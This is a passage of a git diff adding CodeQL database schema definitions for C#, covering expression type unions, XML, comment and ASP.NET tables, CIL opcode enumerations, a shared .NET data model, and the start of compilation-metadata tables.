+@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_compiler_generated( + unique int id: @expr ref); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); + +/* Common Intermediate Language - CIL */ + +case @cil_instruction.opcode of + 0 = @cil_nop +| 1 = @cil_break +| 2 = @cil_ldarg_0 +| 3 = @cil_ldarg_1 +| 4 = @cil_ldarg_2 +| 5 = @cil_ldarg_3 +| 6 = @cil_ldloc_0 +| 7 = @cil_ldloc_1 +| 8 = @cil_ldloc_2 +| 9 = @cil_ldloc_3 +| 10 = @cil_stloc_0 +| 11 = @cil_stloc_1 +| 12 = @cil_stloc_2 +| 13 = @cil_stloc_3 +| 14 = @cil_ldarg_s +| 15 = @cil_ldarga_s +| 16 = @cil_starg_s +| 17 = @cil_ldloc_s +| 18 = @cil_ldloca_s +| 19 = @cil_stloc_s +| 20 = @cil_ldnull +| 21 = @cil_ldc_i4_m1 +| 22 = @cil_ldc_i4_0 +| 23 = @cil_ldc_i4_1 +| 24 = @cil_ldc_i4_2 +| 25 = @cil_ldc_i4_3 +| 26 = @cil_ldc_i4_4 +| 27 = @cil_ldc_i4_5 +| 28 = @cil_ldc_i4_6 +| 29 = @cil_ldc_i4_7 +| 30 = @cil_ldc_i4_8 +| 31 = @cil_ldc_i4_s +| 32 = @cil_ldc_i4 +| 33 = @cil_ldc_i8 +| 34 = @cil_ldc_r4 +| 35 = @cil_ldc_r8 +| 37 = @cil_dup +| 38 = @cil_pop +| 39 = @cil_jmp +| 40 = @cil_call +| 41 = @cil_calli +| 42 = @cil_ret +| 43 = @cil_br_s +| 44 = @cil_brfalse_s +| 45 = @cil_brtrue_s +| 46 = @cil_beq_s +| 47 = @cil_bge_s +| 48 = @cil_bgt_s +| 49 = @cil_ble_s +| 50 = @cil_blt_s +| 51 = @cil_bne_un_s +| 52 = @cil_bge_un_s +| 53 = @cil_bgt_un_s +| 54 = @cil_ble_un_s +| 55 = @cil_blt_un_s +| 56 = @cil_br +| 57 = @cil_brfalse +| 58 = @cil_brtrue +| 59 = @cil_beq +| 60 = @cil_bge +| 61 = @cil_bgt +| 62 = @cil_ble +| 63 = @cil_blt +| 64 = @cil_bne_un +| 65 = @cil_bge_un +| 66 = @cil_bgt_un +| 67 = @cil_ble_un +| 68 = @cil_blt_un +| 69 = @cil_switch +| 70 = @cil_ldind_i1 +| 71 = @cil_ldind_u1 +| 72 = @cil_ldind_i2 +| 73 = @cil_ldind_u2 +| 74 = @cil_ldind_i4 +| 75 = @cil_ldind_u4 +| 76 = @cil_ldind_i8 +| 77 = @cil_ldind_i +| 78 = @cil_ldind_r4 +| 79 = @cil_ldind_r8 +| 80 = @cil_ldind_ref +| 81 = @cil_stind_ref +| 82 = @cil_stind_i1 +| 83 = @cil_stind_i2 +| 84 = @cil_stind_i4 +| 85 = @cil_stind_i8 +| 86 = @cil_stind_r4 +| 87 = @cil_stind_r8 +| 88 = @cil_add +| 89 = @cil_sub +| 90 = @cil_mul +| 91 = @cil_div +| 92 = @cil_div_un +| 93 = @cil_rem +| 94 = @cil_rem_un +| 95 = @cil_and +| 96 = @cil_or +| 97 = @cil_xor +| 98 = @cil_shl +| 99 = @cil_shr +| 100 = @cil_shr_un +| 101 = @cil_neg +| 102 = @cil_not +| 103 = @cil_conv_i1 +| 104 = @cil_conv_i2 +| 105 = @cil_conv_i4 +| 106 = @cil_conv_i8 +| 107 = @cil_conv_r4 +| 108 = @cil_conv_r8 +| 109 = @cil_conv_u4 +| 110 = @cil_conv_u8 +| 111 = @cil_callvirt +| 112 = @cil_cpobj +| 113 = @cil_ldobj +| 114 = @cil_ldstr +| 115 = @cil_newobj +| 116 = @cil_castclass +| 117 = @cil_isinst +| 118 = @cil_conv_r_un +| 121 = @cil_unbox +| 122 = @cil_throw +| 123 = @cil_ldfld +| 124 = @cil_ldflda +| 125 = @cil_stfld +| 126 = @cil_ldsfld +| 127 = @cil_ldsflda +| 128 = @cil_stsfld +| 129 = @cil_stobj +| 130 = @cil_conv_ovf_i1_un +| 131 = @cil_conv_ovf_i2_un +| 132 = @cil_conv_ovf_i4_un +| 133 = @cil_conv_ovf_i8_un +| 134 = @cil_conv_ovf_u1_un +| 135 = @cil_conv_ovf_u2_un +| 136 = @cil_conv_ovf_u4_un +| 137 = @cil_conv_ovf_u8_un +| 138 = @cil_conv_ovf_i_un +| 139 = @cil_conv_ovf_u_un +| 140 = @cil_box +| 141 = @cil_newarr +| 142 = @cil_ldlen +| 143 = @cil_ldelema +| 144 = @cil_ldelem_i1 +| 145 = @cil_ldelem_u1 +| 146 = @cil_ldelem_i2 +| 147 = @cil_ldelem_u2 +| 148 = @cil_ldelem_i4 +| 149 = @cil_ldelem_u4 +| 150 = @cil_ldelem_i8 +| 151 = @cil_ldelem_i +| 152 = @cil_ldelem_r4 +| 153 = @cil_ldelem_r8 +| 154 = @cil_ldelem_ref +| 155 = @cil_stelem_i +| 156 = @cil_stelem_i1 +| 157 = @cil_stelem_i2 +| 158 = @cil_stelem_i4 +| 159 = @cil_stelem_i8 +| 160 = @cil_stelem_r4 +| 161 = @cil_stelem_r8 +| 162 = @cil_stelem_ref +| 163 = @cil_ldelem +| 164 = @cil_stelem +| 165 = @cil_unbox_any +| 179 = @cil_conv_ovf_i1 +| 180 = @cil_conv_ovf_u1 +| 181 = @cil_conv_ovf_i2 +| 182 = @cil_conv_ovf_u2 +| 183 = @cil_conv_ovf_i4 +| 184 = @cil_conv_ovf_u4 +| 185 = @cil_conv_ovf_i8 +| 186 = @cil_conv_ovf_u8 +| 194 = @cil_refanyval +| 195 = @cil_ckinfinite +| 198 = @cil_mkrefany +| 208 = @cil_ldtoken +| 209 = @cil_conv_u2 +| 210 = @cil_conv_u1 +| 211 = @cil_conv_i +| 212 = @cil_conv_ovf_i +| 213 = @cil_conv_ovf_u +| 214 = @cil_add_ovf +| 215 = @cil_add_ovf_un +| 216 = @cil_mul_ovf +| 217 = @cil_mul_ovf_un +| 218 = @cil_sub_ovf +| 219 = @cil_sub_ovf_un +| 220 = @cil_endfinally +| 221 = @cil_leave +| 222 = @cil_leave_s +| 223 = @cil_stind_i +| 224 = @cil_conv_u +| 65024 = @cil_arglist +| 65025 = @cil_ceq +| 65026 = @cil_cgt +| 65027 = @cil_cgt_un +| 65028 = @cil_clt +| 65029 = @cil_clt_un +| 65030 = @cil_ldftn +| 65031 = @cil_ldvirtftn +| 65033 = @cil_ldarg +| 65034 = @cil_ldarga +| 65035 = @cil_starg +| 65036 = @cil_ldloc +| 65037 = @cil_ldloca +| 65038 = @cil_stloc +| 65039 = @cil_localloc +| 65041 = @cil_endfilter +| 65042 = @cil_unaligned +| 65043 = @cil_volatile +| 65044 = @cil_tail +| 65045 = @cil_initobj +| 65046 = @cil_constrained +| 65047 = @cil_cpblk +| 65048 = @cil_initblk +| 65050 = @cil_rethrow +| 65052 = @cil_sizeof +| 65053 = @cil_refanytype +| 65054 = @cil_readonly +; + +// CIL ignored instructions + +@cil_ignore = @cil_nop | @cil_break | @cil_volatile | @cil_unaligned; + +// CIL local/parameter/field access + +@cil_ldarg_any = @cil_ldarg_0 | @cil_ldarg_1 | @cil_ldarg_2 | @cil_ldarg_3 | @cil_ldarg_s | @cil_ldarga_s | @cil_ldarg | @cil_ldarga; +@cil_starg_any = @cil_starg | @cil_starg_s; + +@cil_ldloc_any = @cil_ldloc_0 | @cil_ldloc_1 | @cil_ldloc_2 | @cil_ldloc_3 | @cil_ldloc_s | @cil_ldloca_s | @cil_ldloc | @cil_ldloca; +@cil_stloc_any = @cil_stloc_0 | @cil_stloc_1 | @cil_stloc_2 | @cil_stloc_3 | @cil_stloc_s | @cil_stloc; + +@cil_ldfld_any = @cil_ldfld | @cil_ldsfld | @cil_ldsflda | @cil_ldflda; +@cil_stfld_any = @cil_stfld | @cil_stsfld; + +@cil_local_access = @cil_stloc_any | @cil_ldloc_any; +@cil_arg_access = @cil_starg_any | @cil_ldarg_any; +@cil_read_access = @cil_ldloc_any | @cil_ldarg_any | @cil_ldfld_any; +@cil_write_access = @cil_stloc_any | @cil_starg_any | @cil_stfld_any; + +@cil_stack_access = @cil_local_access | @cil_arg_access; +@cil_field_access = @cil_ldfld_any | @cil_stfld_any; + +@cil_access = @cil_read_access | @cil_write_access; + +// CIL constant/literal instructions + +@cil_ldc_i = @cil_ldc_i4_any | @cil_ldc_i8; + +@cil_ldc_i4_any = @cil_ldc_i4_m1 | @cil_ldc_i4_0 | @cil_ldc_i4_1 | @cil_ldc_i4_2 | @cil_ldc_i4_3 | + @cil_ldc_i4_4 | @cil_ldc_i4_5 | @cil_ldc_i4_6 | @cil_ldc_i4_7 | @cil_ldc_i4_8 | @cil_ldc_i4_s | @cil_ldc_i4; + +@cil_ldc_r = @cil_ldc_r4 | @cil_ldc_r8; + +@cil_literal = @cil_ldnull | @cil_ldc_i | @cil_ldc_r | @cil_ldstr; + +// Control flow + +@cil_conditional_jump = @cil_binary_jump | @cil_unary_jump; +@cil_binary_jump = @cil_beq_s | @cil_bge_s | @cil_bgt_s | @cil_ble_s | @cil_blt_s | + @cil_bne_un_s | @cil_bge_un_s | @cil_bgt_un_s | @cil_ble_un_s | @cil_blt_un_s | + @cil_beq | @cil_bge | @cil_bgt | @cil_ble | @cil_blt | + @cil_bne_un | @cil_bge_un | @cil_bgt_un | @cil_ble_un | @cil_blt_un; +@cil_unary_jump = @cil_brfalse_s | @cil_brtrue_s | @cil_brfalse | @cil_brtrue | @cil_switch; +@cil_unconditional_jump = @cil_br | @cil_br_s | @cil_leave_any; +@cil_leave_any = @cil_leave | @cil_leave_s; +@cil_jump = @cil_unconditional_jump | @cil_conditional_jump; + +// CIL call instructions + +@cil_call_any = @cil_jmp | @cil_call | @cil_calli | @cil_tail | @cil_callvirt | @cil_newobj; + +// CIL expression instructions + +@cil_expr = @cil_literal | @cil_binary_expr | @cil_unary_expr | @cil_call_any | @cil_read_access | + @cil_newarr | @cil_ldtoken | @cil_sizeof | + @cil_ldftn | @cil_ldvirtftn | @cil_localloc | @cil_mkrefany | @cil_refanytype | @cil_arglist | @cil_dup; + +@cil_unary_expr = + @cil_conversion_operation | @cil_unary_arithmetic_operation | @cil_unary_bitwise_operation| + @cil_ldlen | @cil_isinst | @cil_box | @cil_ldobj | @cil_castclass | @cil_unbox_any | + @cil_ldind | @cil_unbox; + +@cil_conversion_operation = + @cil_conv_i1 | @cil_conv_i2 | @cil_conv_i4 | @cil_conv_i8 | + @cil_conv_u1 | @cil_conv_u2 | @cil_conv_u4 | @cil_conv_u8 | + @cil_conv_ovf_i | @cil_conv_ovf_i_un | @cil_conv_ovf_i1 | @cil_conv_ovf_i1_un | + @cil_conv_ovf_i2 | @cil_conv_ovf_i2_un | @cil_conv_ovf_i4 | @cil_conv_ovf_i4_un | + @cil_conv_ovf_i8 | @cil_conv_ovf_i8_un | @cil_conv_ovf_u | @cil_conv_ovf_u_un | + @cil_conv_ovf_u1 | @cil_conv_ovf_u1_un | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_ovf_u4 | @cil_conv_ovf_u4_un | @cil_conv_ovf_u8 | @cil_conv_ovf_u8_un | + @cil_conv_r4 | @cil_conv_r8 | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_i | @cil_conv_u | @cil_conv_r_un; + +@cil_ldind = @cil_ldind_i | @cil_ldind_i1 | @cil_ldind_i2 | @cil_ldind_i4 | @cil_ldind_i8 | + @cil_ldind_r4 | @cil_ldind_r8 | @cil_ldind_ref | @cil_ldind_u1 | @cil_ldind_u2 | @cil_ldind_u4; + +@cil_stind = @cil_stind_i | @cil_stind_i1 | @cil_stind_i2 | @cil_stind_i4 | @cil_stind_i8 | + @cil_stind_r4 | @cil_stind_r8 | @cil_stind_ref; + +@cil_bitwise_operation = @cil_binary_bitwise_operation | @cil_unary_bitwise_operation; + +@cil_binary_bitwise_operation = @cil_and | @cil_or | @cil_xor | @cil_shr | @cil_shr | @cil_shr_un | @cil_shl; + +@cil_binary_arithmetic_operation = @cil_add | @cil_sub | @cil_mul | @cil_div | @cil_div_un | + @cil_rem | @cil_rem_un | @cil_add_ovf | @cil_add_ovf_un | @cil_mul_ovf | @cil_mul_ovf_un | + @cil_sub_ovf | @cil_sub_ovf_un; + +@cil_unary_bitwise_operation = @cil_not; + +@cil_binary_expr = @cil_binary_arithmetic_operation | @cil_binary_bitwise_operation | @cil_read_array | @cil_comparison_operation; + +@cil_unary_arithmetic_operation = @cil_neg; + +@cil_comparison_operation = @cil_cgt_un | @cil_ceq | @cil_cgt | @cil_clt | @cil_clt_un; + +// Elements that retrieve an address of something +@cil_read_ref = @cil_ldloca_s | @cil_ldarga_s | @cil_ldflda | @cil_ldsflda | @cil_ldelema; + +// CIL array instructions + +@cil_read_array = + @cil_ldelem | @cil_ldelema | @cil_ldelem_i1 | @cil_ldelem_ref | @cil_ldelem_i | + @cil_ldelem_i1 | @cil_ldelem_i2 | @cil_ldelem_i4 | @cil_ldelem_i8 | @cil_ldelem_r4 | + @cil_ldelem_r8 | @cil_ldelem_u1 | @cil_ldelem_u2 | @cil_ldelem_u4; + +@cil_write_array = @cil_stelem | @cil_stelem_ref | + @cil_stelem_i | @cil_stelem_i1 | @cil_stelem_i2 | @cil_stelem_i4 | @cil_stelem_i8 | + @cil_stelem_r4 | @cil_stelem_r8; + +@cil_throw_any = @cil_throw | @cil_rethrow; + +#keyset[impl, index] +cil_instruction( + unique int id: @cil_instruction, + int opcode: int ref, + int index: int ref, + int impl: @cil_method_implementation ref); + +cil_jump( + unique int instruction: @cil_jump ref, + int target: @cil_instruction ref); + +cil_access( + unique int instruction: @cil_instruction ref, + int target: @cil_accessible ref); + +cil_value( + unique int instruction: @cil_literal ref, + string value: string ref); + +#keyset[instruction, index] +cil_switch( + int instruction: @cil_switch ref, + int index: int ref, + int target: @cil_instruction ref); + +cil_instruction_location( + unique int id: @cil_instruction ref, + int loc: @location ref); + +cil_type_location( + int id: @cil_type ref, + int loc: @location ref); + +cil_method_location( + int id: @cil_method ref, + int loc: @location ref); + +@cil_namespace = @namespace; + +@cil_type_container = @cil_type | @cil_namespace | @cil_method; + +case @cil_type.kind of + 0 = @cil_valueorreftype +| 1 = @cil_typeparameter +| 2 = @cil_array_type +| 3 = @cil_pointer_type +; + +cil_type( + unique int id: @cil_type, + string name: string ref, + int kind: int ref, + int parent: @cil_type_container ref, + int sourceDecl: @cil_type ref); + +cil_pointer_type( + unique int id: @cil_pointer_type ref, + int pointee: @cil_type ref); + +cil_array_type( + unique int id: @cil_array_type ref, + int element_type: @cil_type ref, + int rank: int ref); + +cil_method( + unique int id: @cil_method, + string name: string ref, + int parent: @cil_type ref, + int return_type: @cil_type ref); + +cil_method_source_declaration( + unique int method: @cil_method ref, + int source: @cil_method ref); + +cil_method_implementation( + unique int id: @cil_method_implementation, + int method: @cil_method ref, + int location: @assembly ref); + +cil_implements( + int id: @cil_method ref, + int decl: @cil_method ref); + +#keyset[parent, name] +cil_field( + unique int id: @cil_field, + int parent: @cil_type ref, + string name: string ref, + int field_type: @cil_type ref); + +@cil_element = @cil_instruction | @cil_declaration | @cil_handler | @cil_attribute | @cil_namespace; +@cil_named_element = @cil_declaration | @cil_namespace; +@cil_declaration = @cil_variable | @cil_method | @cil_type | @cil_member; +@cil_accessible = @cil_declaration; +@cil_variable = @cil_field | @cil_stack_variable; +@cil_stack_variable = @cil_local_variable | @cil_parameter; +@cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; + +#keyset[method, index] +cil_parameter( + unique int id: @cil_parameter, + int method: @cil_method ref, + int index: int ref, + int param_type: @cil_type ref); + +cil_parameter_in(unique int id: @cil_parameter ref); +cil_parameter_out(unique int id: @cil_parameter ref); + +cil_setter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_getter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_adder(unique int event: @cil_event ref, + int method: @cil_method ref); + +cil_remover(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_raiser(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_property( + unique int id: @cil_property, + int parent: @cil_type ref, + string name: string ref, + int property_type: @cil_type ref); + +#keyset[parent, name] +cil_event(unique int id: @cil_event, + int parent: @cil_type ref, + string name: string ref, + int event_type: @cil_type ref); + +#keyset[impl, index] +cil_local_variable( + unique int id: @cil_local_variable, + int impl: @cil_method_implementation ref, + int index: int ref, + int var_type: @cil_type ref); + +// CIL handlers (exception handlers etc). + +case @cil_handler.kind of + 0 = @cil_catch_handler +| 1 = @cil_filter_handler +| 2 = @cil_finally_handler +| 4 = @cil_fault_handler +; + +#keyset[impl, index] +cil_handler( + unique int id: @cil_handler, + int impl: @cil_method_implementation ref, + int index: int ref, + int kind: int ref, + int try_start: @cil_instruction ref, + int try_end: @cil_instruction ref, + int handler_start: @cil_instruction ref); + +cil_handler_filter( + unique int id: @cil_handler ref, + int filter_start: @cil_instruction ref); + +cil_handler_type( + unique int id: @cil_handler ref, + int catch_type: @cil_type ref); + +@cil_controlflow_node = @cil_entry_point | @cil_instruction; + +@cil_entry_point = @cil_method_implementation | @cil_handler; + +@cil_dataflow_node = @cil_instruction | @cil_variable | @cil_method; + +cil_method_stack_size( + unique int method: @cil_method_implementation ref, + int size: int ref); + +// CIL modifiers + +cil_public(int id: @cil_member ref); +cil_private(int id: @cil_member ref); +cil_protected(int id: @cil_member ref); +cil_internal(int id: @cil_member ref); +cil_static(int id: @cil_member ref); +cil_sealed(int id: @cil_member ref); +cil_virtual(int id: @cil_method ref); +cil_abstract(int id: @cil_member ref); +cil_class(int id: @cil_type ref); +cil_interface(int id: @cil_type ref); +cil_security(int id: @cil_member ref); +cil_requiresecobject(int id: @cil_method ref); +cil_specialname(int id: @cil_method ref); +cil_newslot(int id: @cil_method ref); + +cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); +cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); +cil_enum_underlying_type(unique int id: @cil_type ref, int underlying: @cil_type ref); + +#keyset[unbound, index] +cil_type_parameter( + int unbound: @cil_member ref, + int index: int ref, + int param: @cil_typeparameter ref); + +#keyset[bound, index] +cil_type_argument( + int bound: @cil_member ref, + int index: int ref, + int t: @cil_type ref); + +// CIL type parameter constraints + +cil_typeparam_covariant(int tp: @cil_typeparameter ref); +cil_typeparam_contravariant(int tp: @cil_typeparameter ref); +cil_typeparam_class(int tp: @cil_typeparameter ref); +cil_typeparam_struct(int tp: @cil_typeparameter ref); +cil_typeparam_new(int tp: @cil_typeparameter ref); +cil_typeparam_constraint(int tp: @cil_typeparameter ref, int supertype: @cil_type ref); + +// CIL attributes + +cil_attribute( + unique int attributeid: @cil_attribute, + int element: @cil_declaration ref, + int constructor: @cil_method ref); + +#keyset[attribute_id, param] +cil_attribute_named_argument( + int attribute_id: @cil_attribute ref, + string param: string ref, + string value: string ref); + +#keyset[attribute_id, index] +cil_attribute_positional_argument( + int attribute_id: @cil_attribute ref, + int index: int ref, + string value: string ref); + + +// Common .Net data model covering both C# and CIL + +// Common elements +@dotnet_element = @element | @cil_element; +@dotnet_named_element = @named_element | @cil_named_element; +@dotnet_callable = @callable | @cil_method; +@dotnet_variable = @variable | @cil_variable; +@dotnet_field = @field | @cil_field; +@dotnet_parameter = @parameter | @cil_parameter; +@dotnet_declaration = @declaration | @cil_declaration; +@dotnet_member = @member | @cil_member; +@dotnet_event = @event | @cil_event; +@dotnet_property = @property | @cil_property | @indexer; + +// Common types +@dotnet_type = @type | @cil_type; +@dotnet_call = @call | @cil_call_any; +@dotnet_throw = @throw_element | @cil_throw_any; +@dotnet_valueorreftype = @cil_valueorreftype | @value_or_ref_type | @cil_array_type | @void_type; +@dotnet_typeparameter = @type_parameter | @cil_typeparameter; +@dotnet_array_type = @array_type | @cil_array_type; +@dotnet_pointer_type = @pointer_type | @cil_pointer_type; +@dotnet_type_parameter = @type_parameter | @cil_typeparameter; +@dotnet_generic = @dotnet_valueorreftype | @dotnet_callable; + +// Attributes +@dotnet_attribute = @attribute | @cil_attribute; + +// Expressions +@dotnet_expr = @expr | @cil_expr; + +// Literals +@dotnet_literal = @literal_expr | @cil_literal; +@dotnet_string_literal = @string_literal_expr | @cil_ldstr; +@dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; +@dotnet_float_literal = @float_literal_expr | @cil_ldc_r; +@dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/upgrades/f5903552e3099dba41375ca19af7caca5c2e4966/semmlecode.csharp.dbscheme b/csharp/upgrades/f5903552e3099dba41375ca19af7caca5c2e4966/semmlecode.csharp.dbscheme new file mode 100644 index 00000000000..094972aab8c --- /dev/null +++ b/csharp/upgrades/f5903552e3099dba41375ca19af7caca5c2e4966/semmlecode.csharp.dbscheme @@ -0,0 +1,1906 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | --cil + * 3 | f1.cs + * 4 | f2.cs + * 5 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* 